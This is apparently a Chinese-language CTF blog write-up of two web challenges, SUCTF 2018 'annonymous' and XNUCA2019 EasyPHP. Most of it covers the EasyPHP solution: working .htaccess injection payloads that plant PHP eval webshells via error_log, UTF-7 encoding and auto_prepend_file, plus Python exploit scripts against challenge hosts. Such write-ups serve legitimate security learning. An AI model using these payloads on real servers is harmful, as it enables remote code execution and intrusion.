[SUCTF 2018]annonymous

知识点 : 代码审计 create_function

image-20210819111808775

看了程序的流程!

他会eval 创建个函数!

发现直接掉 create_function 的函数不行!

那只能通过 调用eval 创建的函数了!函数名 通过 32位 伪随机 然变成64位!

cccccc! 看了wp才知道! create_function的匿名函数也是有名字的,名字是\x00lambda_%d,其中%d代表他是当前进程中的第几个匿名函数,所以直接拿burp爆破即可

奥日!web果然!很新颖! 哈哈哈哈 ! 我是菜🐕!

image-20210819114358843

image-20210819114348786

[XNUCA2019Qualifier]EasyPHP

知识点:.htaccess 写shell

https://www.huaweicloud.com/articles/481eb05e648d75d1d7ad82c315418200.html

include_path补充
include_path用来设置include()或require()函数包含文件的参考路径.
也就是说当使用include()或require()函数包含文件的时候,程序首先以include_path设置的路径作为参考点去找文件,如果找不到,则以程序自身所在的路径为参考点去找所要的文件,如果都找不到,则出错.

源码

<?php
$files = scandir('./');
foreach($files as $file) {
if(is_file($file)){
if ($file !== "index.php") {
unlink($file);
}
}
}
include_once("fl3g.php");
if(!isset($_GET['content']) || !isset($_GET['filename'])) {
highlight_file(__FILE__);
die();
}
$content = $_GET['content'];
if(stristr($content,'on') || stristr($content,'html') || stristr($content,'type') || stristr($content,'flag') || stristr($content,'upload') || stristr($content,'file')) {
echo "Hacker";
die();
}
$filename = $_GET['filename'];
if(preg_match("/[^a-z\.]/", $filename) == 1) {
echo "Hacker";
die();
}
$files = scandir('./');
foreach($files as $file) {
if(is_file($file)){
if ($file !== "index.php") {
unlink($file);
}
}
}
file_put_contents($filename, $content . "\nJust one chance");
?>

image-20210819123336652

image-20210819123612222

include_path的优先级高!🙄

题目做着做着就蹦了!丢!

### tmp目录写文件

- 如何在指定目录写指定文件名的文件呢?php的配置选项中有error_log可以满足这一点。error_log可以将php运行报错的记录写到指定文件中。
- 如何触发报错呢?这就是为什么代码中写了一处不存在的fl3g.php的原因。我们可以将include_path的内容设置成payload的内容,这时访问页面,页面尝试将payload作为一个路径去访问时就会因为找不到fl3g.php而报错,而如果fl3g.php存在,则会因为include_path默认先访问web目录而不会报错。
- 写进error_log的内容会被html编码怎么绕过?这个点是比较常见的,采用utf7编码即可。

payload

  • 第一步,通过error_log配合include_path在tmp目录生成shell
php_value error_log /tmp/fl3g.php
php_value error_reporting 32767
php_value include_path "+ADw?php eval($_GET[1])+ADs +AF8AXw-halt+AF8-compiler()+ADs"
# \

php_value error_log /tmp/fl3g.php
php_value error_reporting 32767
php_value include_path "+ADw?php phpinfo()+ADs +AF8AXw-halt+AF8-compiler()+ADs"
# \
  • 第二步,通过include_path和utf7编码执行shell
php_value include_path "/tmp"
php_value zend.multibyte 1
php_value zend.script_encoding "UTF-7"
# \

php_value include_path "/tmp"
php_flag zend.multibyte 1
php_value zend.script_encoding "UTF-7"
# \

非预期解1:

php_value pcre.backtrack_limit    0
php_value auto_append_file ".htaccess"
php_value pcre.jit 0
#aa<?php eval($_GET['a']);?>\
<Files ~ "^.ht">
Require all granted
Order allow,deny
Allow from all
</Files>
SetHandler application/x-httpd-php
# <?php phpinfo(); ?>

非预期解2

因为后面content会拼接无意义字符串, 因此采用.htaccess的单行注释绕过 # \,这里反斜杠本来就有拼接上下两行的功能,因此这里本来就可以直接使用\来连接被过滤掉的关键字来写入.htaccess,

php_value auto_prepend_fi\ 
le ".htaccess"
# \

最后我就

#!/usr/bin/env python
# -*- coding: utf-8 -*-
# @Time : 2021/8/19 14:44
# @Author : upload
# @File : [XNUCA2019Qualifier]EasyPHP.py
# @Software: PyCharm

import requests


content='''php_value auto_prepend_fi\\
le ".htaccess"
%23%20aa<?php eval($_POST[a]);?>\\'''


url = "http://91a98b69-29ef-4d88-83bd-c6d5b5cd11ba.node4.buuoj.cn:81/?filename=.htaccess&content={}".format(content)
res = requests.get(url=url)
print(res.url)
print(res.text)

成功了!因为它会马上删除!所以! 你运行一下!直接上蚁剑!🤗

原理在gtflag大佬里讲了! prepend提前加载!

预期解的化!
image-20210819193933615

我这不知道为什么识别不了!

image-20210819194623692

tmp也写入了!

utf-7识别不了!

image-20210819200507462

成功了!cccccc! 加号 要url编码不然写不进去!

exp

#!/usr/bin/env python
# -*- coding: utf-8 -*-
# @Time : 2021/8/19 14:44
# @Author : upload
# @File : [XNUCA2019Qualifier]EasyPHP.py
# @Software: PyCharm

import requests
from urllib.parse import unquote
# test 1
contest1 = """php_value error_log /tmp/fl3g.php
php_value error_reporting 32767
php_value include_path "%2bADw?php eval($_POST[1])%2bADs %2bAF8AXw-halt%2bAF8-compiler()%2bADs"
%23 \\"""

contest1 = '''php_value error_log /tmp/fl3g.php
php_value error_reporting 32767
php_value include_path "%2bADw?php phpinfo()%2bADs%20%2bAF8AXw-halt%2bAF8-compiler()%2bADs"
%23 \\'''

contest2 = """php_value include_path "/tmp"
php_value zend.multibyte 1
php_value zend.script_encoding "UTF-7"
%23 \\"""

content='''php_value auto_prepend_fi\\
le ".htaccess"
%23%20<?php eval($_POST[a]);?>\\'''

#
# text = unquote(contest1, 'utf-8')
url = "http://e79de9b9-ebf5-4231-b3bc-0d1a3ecc2a8a.node4.buuoj.cn:81/?filename=.htaccess&content={}".format(contest2)
res = requests.get(url=url)
print(res.url)
print(res.text)

image-20210819201343962

image-20210819201426223

image-20210819201441216

不给每次他都会删除 ,所以只能执行一次!😒 而且只能执行一条php代码! 写了phpinfoshell写不不了!了!

image-20210819202030699

只能执行一条php语句!

文章:

https://github.com/NeSE-Team/OurChallenges/tree/master/XNUCA2019Qualifier/Web/Ezphp#%E9%9D%9E%E9%A2%84%E6%9C%9F1

https://www.anquanke.com/post/id/205098 gtfly大佬

https://www.cnblogs.com/wangtanzhi/p/12296896.html

https://guokeya.github.io/post/xnuca2019qualifiereasyphphtaccess-li-yong/

https://blog.csdn.net/Zero_Adam/article/details/115740087

https://www.cnblogs.com/tr1ple/p/11439994.html